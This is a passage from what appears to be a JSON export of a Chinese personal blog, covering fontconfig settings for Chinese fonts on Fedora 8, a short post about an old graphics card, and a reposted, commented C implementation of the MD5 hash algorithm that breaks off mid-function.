\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; \u0026lt;/test\u0026gt; \u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; \u0026lt;edit name=\u0026quot;spacing\u0026quot;\u0026gt; \u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; \u0026lt;const\u0026gt;proportional\u0026lt;/const\u0026gt; \u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; \u0026lt;/edit\u0026gt; \u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; \u0026lt;edit name=\u0026quot;globaladvance\u0026quot;\u0026gt; \u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; \u0026lt;bool\u0026gt;false\u0026lt;/bool\u0026gt; \u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; \u0026lt;/edit\u0026gt; \u0026lt;/match\u0026gt;\n\u0026lt;!\u0026#8211;\n设定中文最小字号,使得小字的中文美观\n\u0026#8211;\u0026gt;\n\u0026lt;match target=\u0026quot;font\u0026quot; \u0026gt;\n\u0026nbsp;\u0026nbsp; \u0026lt;test name=\u0026quot;family\u0026quot; qual=\u0026quot;any\u0026quot; \u0026gt;\n\u0026nbsp;\u0026nbsp; \u0026nbsp;\u0026nbsp;\u0026nbsp; \u0026lt;string\u0026gt;SimSun\u0026lt;/string\u0026gt;\n\u0026nbsp;\u0026nbsp; \u0026nbsp;\u0026nbsp;\u0026nbsp; \u0026lt;string\u0026gt;NSimSun\u0026lt;/string\u0026gt;\n\u0026nbsp;\u0026nbsp; \u0026nbsp;\u0026nbsp;\u0026nbsp; \u0026lt;string\u0026gt;SimHei\u0026lt;/string\u0026gt;\n\u0026nbsp;\u0026nbsp; \u0026nbsp;\u0026nbsp;\u0026nbsp; \u0026lt;string\u0026gt;AR PL ShanHeiSun Uni\u0026lt;/string\u0026gt;\n\u0026nbsp;\u0026nbsp; \u0026nbsp;\u0026nbsp;\u0026nbsp; \u0026lt;string\u0026gt;AR PL ZenKai Uni\u0026lt;/string\u0026gt;\n\u0026nbsp;\u0026nbsp; \u0026nbsp;\u0026nbsp;\u0026nbsp; \u0026lt;string\u0026gt;AR PL New Sung\u0026lt;/string\u0026gt;\n\u0026nbsp;\u0026nbsp; \u0026nbsp;\u0026nbsp;\u0026nbsp; \u0026lt;string\u0026gt;FZSongTi\u0026lt;/string\u0026gt;\n\u0026nbsp;\u0026nbsp; \u0026nbsp;\u0026nbsp; \u0026lt;string\u0026gt;FZMingTiB\u0026lt;/string\u0026gt;\n\u0026nbsp;\u0026nbsp; \u0026nbsp;\u0026nbsp;\u0026nbsp; \u0026lt;string\u0026gt;FangSong_GB2312\u0026lt;/string\u0026gt;\n\u0026nbsp;\u0026nbsp; \u0026nbsp;\u0026nbsp;\u0026nbsp; \u0026lt;string\u0026gt;KaiTi_GB2312\u0026lt;/string\u0026gt;\n\u0026nbsp;\u0026nbsp; \u0026lt;/test\u0026gt;\n\u0026nbsp;\u0026nbsp; \u0026lt;test compare=\u0026quot;more_eq\u0026quot; name=\u0026quot;pixelsize\u0026quot; \u0026gt;\n\u0026nbsp;\u0026nbsp; \u0026nbsp;\u0026nbsp;\u0026nbsp; \u0026lt;int\u0026gt;8\u0026lt;/int\u0026gt;\n\u0026nbsp;\u0026nbsp; \u0026lt;/test\u0026gt;\n\u0026nbsp;\u0026nbsp; \u0026lt;test compare=\u0026quot;less_eq\u0026quot; name=\u0026quot;pixelsize\u0026quot; \u0026gt;\n\u0026nbsp;\u0026nbsp; \u0026nbsp;\u0026nbsp;\u0026nbsp; \u0026lt;int\u0026gt;12\u0026lt;/int\u0026gt;\n\u0026nbsp;\u0026nbsp; \u0026lt;/test\u0026gt;\n\u0026nbsp;\u0026nbsp; \u0026lt;edit compare=\u0026quot;eq\u0026quot; name=\u0026quot;pixelsize\u0026quot; \u0026gt;\n\u0026nbsp;\u0026nbsp; \u0026nbsp;\u0026nbsp;\u0026nbsp; \u0026lt;int\u0026gt;12\u0026lt;/int\u0026gt;\n\u0026nbsp;\u0026nbsp; \u0026lt;/edit\u0026gt;\n\u0026lt;/match\u0026gt;\n\u0026lt;!\u0026#8211;\n把serif ,sans,monospace的family(字体族)重新排序,适应中文用户的用字习惯\n\u0026#8211;\u0026gt;\n\u0026nbsp;\u0026nbsp; \u0026lt;alias\u0026gt;\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; \u0026lt;family\u0026gt;serif\u0026lt;/family\u0026gt;\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; \u0026lt;prefer\u0026gt;\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; \u0026lt;family\u0026gt;Times New Roman\u0026lt;/family\u0026gt;\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; \u0026lt;family\u0026gt;Nimbus Roman No9 L\u0026lt;/family\u0026gt;\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; \u0026lt;family\u0026gt;Luxi Serif\u0026lt;/family\u0026gt;\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; \u0026lt;family\u0026gt;Times\u0026lt;/family\u0026gt;\n\u0026nbsp;\u0026nbsp; \u0026lt;family\u0026gt;Bitstream Vera Serif\u0026lt;/family\u0026gt;\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; \u0026lt;family\u0026gt;Simsun\u0026lt;/family\u0026gt;\n\u0026nbsp;\u0026nbsp; \u0026lt;family\u0026gt;MingLiu\u0026lt;/family\u0026gt;\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; \u0026lt;family\u0026gt;WenQuanYi Bitmap Song\u0026lt;/family\u0026gt;\n\u0026nbsp;\u0026nbsp; \u0026lt;family\u0026gt;AR PL ShanHeiSun Uni\u0026lt;/family\u0026gt;\n\u0026nbsp;\u0026nbsp; \u0026lt;family\u0026gt;AR PL ZenKai Uni\u0026lt;/family\u0026gt;\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; \u0026lt;family\u0026gt;AR PL New Sung\u0026lt;/family\u0026gt;\n\u0026nbsp;\u0026nbsp; \u0026lt;family\u0026gt;FZSongTi\u0026lt;/family\u0026gt;\n\u0026nbsp;\u0026nbsp; \u0026lt;family\u0026gt;FZMingTiB\u0026lt;/family\u0026gt;\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; \u0026lt;family\u0026gt;Kochi Mincho\u0026lt;/family\u0026gt;\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; \u0026lt;family\u0026gt;AR PL SungtiL GB\u0026lt;/family\u0026gt;\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; \u0026lt;family\u0026gt;AR PL Mingti2L Big5\u0026lt;/family\u0026gt;\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; \u0026lt;family\u0026gt;Baekmuk Batang\u0026lt;/family\u0026gt;\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; \u0026lt;/prefer\u0026gt;\n\u0026nbsp;\u0026nbsp; \u0026lt;/alias\u0026gt;\n\u0026nbsp;\u0026nbsp; \u0026lt;alias\u0026gt;\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; \u0026lt;family\u0026gt;sans-serif\u0026lt;/family\u0026gt;\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; \u0026lt;prefer\u0026gt;\n\u0026nbsp;\u0026nbsp; \u0026lt;family\u0026gt;Arial\u0026lt;/family\u0026gt;\n\u0026nbsp;\u0026nbsp; \u0026lt;family\u0026gt;Verdana\u0026lt;/family\u0026gt;\n\u0026nbsp;\u0026nbsp; \u0026lt;family\u0026gt;Tahoma\u0026lt;/family\u0026gt;\n\u0026nbsp;\u0026nbsp; \u0026lt;family\u0026gt;Helvetica\u0026lt;/family\u0026gt;\n\u0026nbsp;\u0026nbsp; \u0026lt;family\u0026gt;Bitstream Vera Sans\u0026lt;/family\u0026gt;\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; \u0026lt;family\u0026gt;SimSun\u0026lt;/family\u0026gt;\n\u0026nbsp;\u0026nbsp; \u0026lt;family\u0026gt;MingLiu\u0026lt;/family\u0026gt;\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; \u0026lt;family\u0026gt;WenQuanYi Bitmap Song\u0026lt;/family\u0026gt;\n\u0026nbsp;\u0026nbsp; \u0026lt;family\u0026gt;AR PL ShanHeiSun Uni\u0026lt;/family\u0026gt;\n\u0026nbsp;\u0026nbsp; \u0026lt;family\u0026gt;AR PL ZenKai Uni\u0026lt;/family\u0026gt;\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; \u0026lt;family\u0026gt;AR PL New Sung\u0026lt;/family\u0026gt;\n\u0026nbsp;\u0026nbsp; \u0026lt;family\u0026gt;FZSongTi\u0026lt;/family\u0026gt;\n\u0026nbsp;\u0026nbsp; \u0026lt;family\u0026gt;FZMingTiB\u0026lt;/family\u0026gt;\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; \u0026lt;family\u0026gt;Kochi Gothic\u0026lt;/family\u0026gt;\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; \u0026lt;family\u0026gt;AR PL KaitiM GB\u0026lt;/family\u0026gt;\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; \u0026lt;family\u0026gt;AR PL KaitiM Big5\u0026lt;/family\u0026gt;\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; \u0026lt;family\u0026gt;Baekmuk Dotum\u0026lt;/family\u0026gt;\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; \u0026lt;/prefer\u0026gt;\n\u0026nbsp;\u0026nbsp; \u0026lt;/alias\u0026gt;\n\u0026nbsp;\u0026nbsp; \u0026lt;alias\u0026gt;\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; \u0026lt;family\u0026gt;monospace\u0026lt;/family\u0026gt;\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; \u0026lt;prefer\u0026gt;\n\u0026nbsp;\u0026nbsp; \u0026lt;family\u0026gt;Courier New\u0026lt;/family\u0026gt;\n\u0026nbsp;\u0026nbsp; \u0026lt;family\u0026gt;Courier\u0026lt;/family\u0026gt;\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; \u0026lt;family\u0026gt;Andale Mono\u0026lt;/family\u0026gt;\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; \u0026lt;family\u0026gt;Luxi Mono\u0026lt;/family\u0026gt;\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; \u0026lt;family\u0026gt;Nimbus Mono L\u0026lt;/family\u0026gt;\n\u0026nbsp;\u0026nbsp; \u0026lt;family\u0026gt;Bitstream Vera Sans Mono\u0026lt;/family\u0026gt;\n\u0026nbsp;\u0026nbsp; \u0026lt;family\u0026gt;NSimSun\u0026lt;/family\u0026gt;\n\u0026nbsp;\u0026nbsp; \u0026lt;family\u0026gt;PMingLiu\u0026lt;/family\u0026gt;\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; \u0026lt;family\u0026gt;WenQuanYi Bitmap Song\u0026lt;/family\u0026gt;\n\u0026nbsp;\u0026nbsp; \u0026lt;family\u0026gt;AR PL ShanHeiSun Uni\u0026lt;/family\u0026gt;\n\u0026nbsp;\u0026nbsp; \u0026lt;family\u0026gt;AR PL ZenKai Uni\u0026lt;/family\u0026gt;\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; \u0026lt;family\u0026gt;AR PL New Sung\u0026lt;/family\u0026gt;\n\u0026nbsp;\u0026nbsp; \u0026lt;family\u0026gt;FZSongTi\u0026lt;/family\u0026gt;\n\u0026nbsp;\u0026nbsp; \u0026lt;family\u0026gt;FZMingTiB\u0026lt;/family\u0026gt;\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; \u0026lt;family\u0026gt;Kochi Gothic\u0026lt;/family\u0026gt;\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; \u0026lt;family\u0026gt;AR PL KaitiM GB\u0026lt;/family\u0026gt;\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; \u0026lt;family\u0026gt;Baekmuk Dotum\u0026lt;/family\u0026gt;\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; \u0026lt;/prefer\u0026gt;\n\u0026nbsp;\u0026nbsp; \u0026lt;/alias\u0026gt;\n\u0026lt;/fontconfig\u0026gt;\n内容\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8211;\n待续。。。。\n","permalink":"https://hessian.cn/p/452.html","summary":"Fedora 8 常规使用设置\n以前装linux都没有作记录，虽然再装起来也不是什么难事，但总会忘这忘那，找资料也总会花不少时间的。\n昨天挂了一晚上下了Fedora 8(F9test官方已经有消息了\u0026#8230;这速度也太快了)，这次也干脆来次重新安装，顺便记录一下一些设置啊什么的。\n","title":"[个人记录用]Fedora 8 常规使用设置"},{"content":"经典是什么? 经典就是够老\u0026#8230;.\n嘎嘎\nCreative 的显卡\u0026#8230;\nNvidia Riva TNT2 64 Model RAM16Mb \u0026#8230;.\n强吧\u0026#8230;.\n原来的卡出问题了\u0026#8230;.BOSS居然给我换这么块卡\u0026#8230;..我要自杀去了\u0026#8230;.别拉我\u0026#8230;.\n","permalink":"https://hessian.cn/p/426.html","summary":"经典是什么? 经典就是够老\u0026#8230;.\n嘎嘎\nCreative 的显卡\u0026#8230;\nNvidia Riva TNT2 64 Model RAM16Mb \u0026#8230;.\n强吧\u0026#8230;.\n原来的卡出问题了\u0026#8230;.BOSS居然给我换这么块卡\u0026#8230;..我要自杀去了\u0026#8230;.别拉我\u0026#8230;.\n","title":"换显卡了。。。。绝对经典…"},{"content":" ..\n","permalink":"https://hessian.cn/p/433.html","summary":" ..\n","title":"哎….命运啊…希望不会降临到我头上…"},{"content":"转自：http://www.cnblogs.com/flying_bat/archive/2007/09/25/905133.html\n百度太可恶了\u0026#8230;..文章长度限制\u0026#8230;这么厉害\u0026#8230;..\n哼\u0026#8230;..我不贴内容了还不行么\n源代码下载：点击下载 ","permalink":"https://hessian.cn/p/310.html","summary":"转自：http://www.cnblogs.com/flying_bat/archive/2007/09/25/905133.html\n百度太可恶了\u0026#8230;..文章长度限制\u0026#8230;这么厉害\u0026#8230;..\n哼\u0026#8230;..我不贴内容了还不行么\n源代码下载：点击下载","title":"[转]MD5算法的C++实现 \u003c一\u003e"},{"content":"转自：http://blog.csdn.net/coder0621/archive/2007/03/23/1539208.aspx\n记得当初自己刚开始学习md5的时候，从网上搜了很多关于算法的原理和文字性的描述的东西，但是看了很久一直没有搞 懂，搜c的源代码又很少。直到后来学习rsa算法的时候，从网上下了1991年的欧洲的什么组织写的关于rsa、des、md5算法的c源代码（各部分代 码混在一块的，比如rsa用到的随机大素数就是用机器的随机时间的md5哈希值获得的）。我才彻底把md5弄明白了。这里的代码就是我从那里面分离出来 的，代码的效率和可重用性都是很高的。整理了一下希望对需要的朋友能够有帮助。\nmd5的介绍的文章网上很多，关于md5的来历，用途什么的这里就不再介绍了。这里主要介绍代码。代码明白了就什么都明白了。\n////////////////////////////////////////////////////////////////////\n/*\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; md5.h\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; */\n#ifndef _MD5_H_\n#define _MD5_H_\n#define R_memset(x, y, z) memset(x, y, z)\n#define R_memcpy(x, y, z) memcpy(x, y, z)\n#define R_memcmp(x, y, z) memcmp(x, y, z)\ntypedef unsigned long UINT4;\ntypedef unsigned char *POINTER;\n/* MD5 context. */\ntypedef struct {\n/* state (ABCD) */\u0026nbsp;\u0026nbsp; /*四个32bits数，用于存放最终计算得到的消息摘要。当消息长度〉512bits时，也用于存放每个512bits的中间结果*/ UINT4 state[4];\u0026nbsp;\u0026nbsp; /* number of bits, modulo 2^64 (lsb first) */\u0026nbsp;\u0026nbsp;\u0026nbsp; /*存储原始信息的bits数长度,不包括填充的bits，最长为 2^64 bits，因为2^64是一个64位数的最大值*/\nUINT4 count[2];\n/* input buffer */ /*存放输入的信息的缓冲区，512bits*/\nunsigned char buffer[64]; } MD5_CTX;\nvoid MD5Init(MD5_CTX *);\nvoid MD5Update(MD5_CTX *, unsigned char *, unsigned int);\nvoid MD5Final(unsigned char [16], MD5_CTX *);\n#endif /* _MD5_H_ */\n///////////////////////////////////////////////////////////////////////////\n/*\u0026nbsp;\u0026nbsp;\u0026nbsp; md5.cpp\u0026nbsp;\u0026nbsp; */\n#include \u0026quot;stdafx.h\u0026quot;\n/* Constants for MD5Transform routine. */\n/*md5转换用到的常量，算法本身规定的*/\n#define S11 7\n#define S12 12\n#define S13 17\n#define S14 22\n#define S21 5\n#define S22 9\n#define S23 14\n#define S24 20\n#define S31 4\n#define S32 11\n#define S33 16\n#define S34 23\n#define S41 6\n#define S42 10\n#define S43 15\n#define S44 21\nstatic void MD5Transform(UINT4 [4], unsigned char [64]);\nstatic void Encode(unsigned char *, UINT4 *, unsigned int);\nstatic void Decode(UINT4 *, unsigned char *, unsigned int);\n/*\n用于bits填充的缓冲区，为什么要64个字节呢？因为当欲加密的信息的bits数被512除其余数为448时，\n需要填充的bits的最大值为512=64*8 。\n*/\nstatic unsigned char PADDING[64] = {\n0x80, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,\n0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,\n0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0\n};\n/*\n接下来的这几个宏定义是md5算法规定的，就是对信息进行md5加密都要做的运算。\n据说有经验的高手跟踪程序时根据这几个特殊的操作就可以断定是不是用的md5\n*/\n/* F, G, H and I are basic MD5 functions.\n*/\n#define F(x, y, z) (((x) \u0026amp; (y)) | ((~x) \u0026amp; (z)))\n#define G(x, y, z) (((x) \u0026amp; (z)) | ((y) \u0026amp; (~z)))\n#define H(x, y, z) ((x) ^ (y) ^ (z))\n#define I(x, y, z) ((y) ^ ((x) | (~z)))\n/* ROTATE_LEFT rotates x left n bits.\n*/\n#define ROTATE_LEFT(x, n) (((x) \u0026lt;\u0026lt; (n)) | ((x) \u0026gt;\u0026gt; (32-(n))))\n/* FF, GG, HH, and II transformations for rounds 1, 2, 3, and 4.\nRotation is separate from addition to prevent recomputation.\n*/\n#define FF(a, b, c, d, x, s, ac) { (a) += F ((b), (c), (d)) + (x) + (UINT4)(ac); (a) = ROTATE_LEFT ((a), (s)); (a) += (b); }\n#define GG(a, b, c, d, x, s, ac) { (a) += G ((b), (c), (d)) + (x) + (UINT4)(ac); (a) = ROTATE_LEFT ((a), (s)); (a) += (b); }\n#define HH(a, b, c, d, x, s, ac) { (a) += H ((b), (c), (d)) + (x) + (UINT4)(ac); (a) = ROTATE_LEFT ((a), (s)); (a) += (b); }\n#define II(a, b, c, d, x, s, ac) { (a) += I ((b), (c), (d)) + (x) + (UINT4)(ac); (a) = ROTATE_LEFT ((a), (s)); (a) += (b); }\n/* MD5 initialization. Begins an MD5 operation, writing a new context. */\n/*初始化md5的结构*/\nvoid MD5Init (MD5_CTX *context)\n{\n/*将当前的有效信息的长度设成0,这个很简单,还没有有效信息,长度当然是0了*/\ncontext-\u0026gt;count[0] = context-\u0026gt;count[1] = 0;\n/* Load magic initialization constants.*/\n/*初始化链接变量，算法要求这样，这个没法解释了*/\ncontext-\u0026gt;state[0] = 0x67452301;\ncontext-\u0026gt;state[1] = 0xefcdab89;\ncontext-\u0026gt;state[2] = 0x98badcfe;\ncontext-\u0026gt;state[3] = 0x10325476;\n}\n/* MD5 block update operation. Continues an MD5 message-digest\noperation, processing another message block, and updating the\ncontext. */\n/*将与加密的信息传递给md5结构，可以多次调用\ncontext：初始化过了的md5结构\ninput：欲加密的信息，可以任意长\ninputLen：指定input的长度\n*/\nvoid MD5Update(MD5_CTX *context,unsigned char * input,unsigned int inputLen)\n{\nunsigned int i, index, partLen;\n/* Compute number of bytes mod 64 */\n/*计算已有信息的bits长度的字节数的模64, 64bytes=512bits。\n用于判断已有信息加上当前传过来的信息的总长度能不能达到512bits，\n如果能够达到则对凑够的512bits进行一次处理*/\nindex = (unsigned int)((context-\u0026gt;count[0] \u0026gt;\u0026gt; 3) \u0026amp; 0x3F);\n/* Update number of bits *//*更新已有信息的bits长度*/\nif((context-\u0026gt;count[0] += ((UINT4)inputLen \u0026lt;\u0026lt; 3)) \u0026lt; ((UINT4)inputLen \u0026lt;\u0026lt; 3))\ncontext-\u0026gt;count[1]++;\ncontext-\u0026gt;count[1] += ((UINT4)inputLen \u0026gt;\u0026gt; 29);\n/*计算已有的字节数长度还差多少字节可以 凑成64的整倍数*/\npartLen = 64 \u0026#8211; index;\n/* Transform as many times as possible.\n*/\n/*如果当前输入的字节数 大于 已有字节数长度补足64字节整倍数所差的字节数*/\nif(inputLen \u0026gt;= partLen) \u0026nbsp;\u0026nbsp;\u0026nbsp; {\n/*用当前输入的内容把context-\u0026gt;buffer的内容补足512bits*/\nR_memcpy((POINTER)\u0026amp;context-\u0026gt;buffer[index], (POINTER)input, partLen);\n/*用基本函数对填充满的512bits（已经保存到context-\u0026gt;buffer中） 做一次转换，转换结果保存到context-\u0026gt;state中*/\nMD5Transform(context-\u0026gt;state, context-\u0026gt;buffer);\n/*\n对当前输入的剩余字节做转换（如果剩余的字节\u0026lt;在输入的input缓冲区中\u0026gt;大于512bits的话 ），\n转换结果保存到context-\u0026gt;state中\n*/\nfor(i = partLen; i + 63 \u0026lt; inputLen; i += 64)/*把i+63\u0026lt;inputlen改为i+64\u0026lt;=inputlen更容易理解*/\n\u0026nbsp;\u0026nbsp; MD5Transform(context-\u0026gt;state, \u0026amp;input[i]);\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; index = 0;\n\u0026nbsp;\u0026nbsp;\u0026nbsp; }\n\u0026nbsp;\u0026nbsp;\u0026nbsp; else\ni = 0;\n/* Buffer remaining input */\n/*将输入缓冲区中的不足填充满512bits的剩余内容填充到context-\u0026gt;buffer中，留待以后再作处理*/\nR_memcpy((POINTER)\u0026amp;context-\u0026gt;buffer[index], (POINTER)\u0026amp;input[i], inputLen-i);\n}\n/* MD5 finalization. Ends an MD5 message-digest operation, writing the\nthe message digest and zeroizing the context. */\n/*获取加密 的最终结果\ndigest：保存最终的加密串\ncontext：你前面初始化并填入了信息的md5结构\n*/\nvoid MD5Final (unsigned char digest[16],MD5_CTX *context)\n{\nunsigned char bits[8];\nunsigned int index, padLen;\n/* Save number of bits */\n/*将要被转换的信息(所有的)的bits长度拷贝到bits中*/\nEncode(bits, context-\u0026gt;count, 8);\n/* Pad out to 56 mod 64. */\n/* 计算所有的bits长度的字节数的模64, 64bytes=512bits*/\nindex = (unsigned int)((context-\u0026gt;count[0] \u0026gt;\u0026gt; 3) \u0026amp; 0x3f);\n/*计算需要填充的字节数，padLen的取值范围在1-64之间*/\npadLen = (index \u0026lt; 56) ? (56 \u0026#8211; index) : (120 \u0026#8211; index);\n/*这一次函数调用绝对不会再导致MD5Transform的被调用，因为这一次不会填满512bits*/\nMD5Update(context, PADDING, padLen);\n/* Append length (before padding) */\n/*补上原始信息的bits长度（bits长度固定的用64bits表示），这一次能够恰巧凑够512bits，不会多也不会少*/\nMD5Update(context, bits, 8);\n/* Store state in digest */\n/*将最终的结果保存到digest中。ok，终于大功告成了*/\nEncode(digest, context-\u0026gt;state, 16);\n/* Zeroize sensitive information. */\nR_memset((POINTER)context, 0, sizeof(*context));\n}\n/* MD5 basic transformation. Transforms state based on block. */\n/*\n对512bits信息(即block缓冲区)进行一次处理，每次处理包括四轮\nstate[4]：md5结构中的state[4]，用于保存对512bits信息加密的中间结果或者最终结果\nblock[64]：欲加密的512bits信息\n*/\nstatic void MD5Transform (UINT4 state[4], unsigned char block[64])\n{\nUINT4 a = state[0], b = state[1], c = state[2], d = state[3], x[16];\nDecode(x, block, 64);\n/* Round 1 */\nFF(a, b, c, d, x[ 0], S11, 0xd76aa478); /* 1 */\nFF(d, a, b, c, x[ 1], S12, 0xe8c7b756); /* 2 */\nFF(c, d, a, b, x[ 2], S13, 0x242070db); /* 3 */\nFF(b, c, d, a, x[ 3], S14, 0xc1bdceee); /* 4 */\nFF(a, b, c, d, x[ 4], S11, 0xf57c0faf); /* 5 */\nFF(d, a, b, c, x[ 5], S12, 0x4787c62a); /* 6 */\nFF(c, d, a, b, x[ 6], S13, 0xa8304613); /* 7 */\nFF(b, c, d, a, x[ 7], S14, 0xfd469501); /* 8 */\nFF(a, b, c, d, x[ 8], S11, 0x698098d8); /* 9 */\nFF(d, a, b, c, x[ 9], S12, 0x8b44f7af); /* 10 */\nFF(c, d, a, b, x[10], S13, 0xffff5bb1); /* 11 */\nFF(b, c, d, a, x[11], S14, 0x895cd7be); /* 12 */\nFF(a, b, c, d, x[12], S11, 0x6b901122); /* 13 */\nFF(d, a, b, c, x[13], S12, 0xfd987193); /* 14 */\nFF(c, d, a, b, x[14], S13, 0xa679438e); /* 15 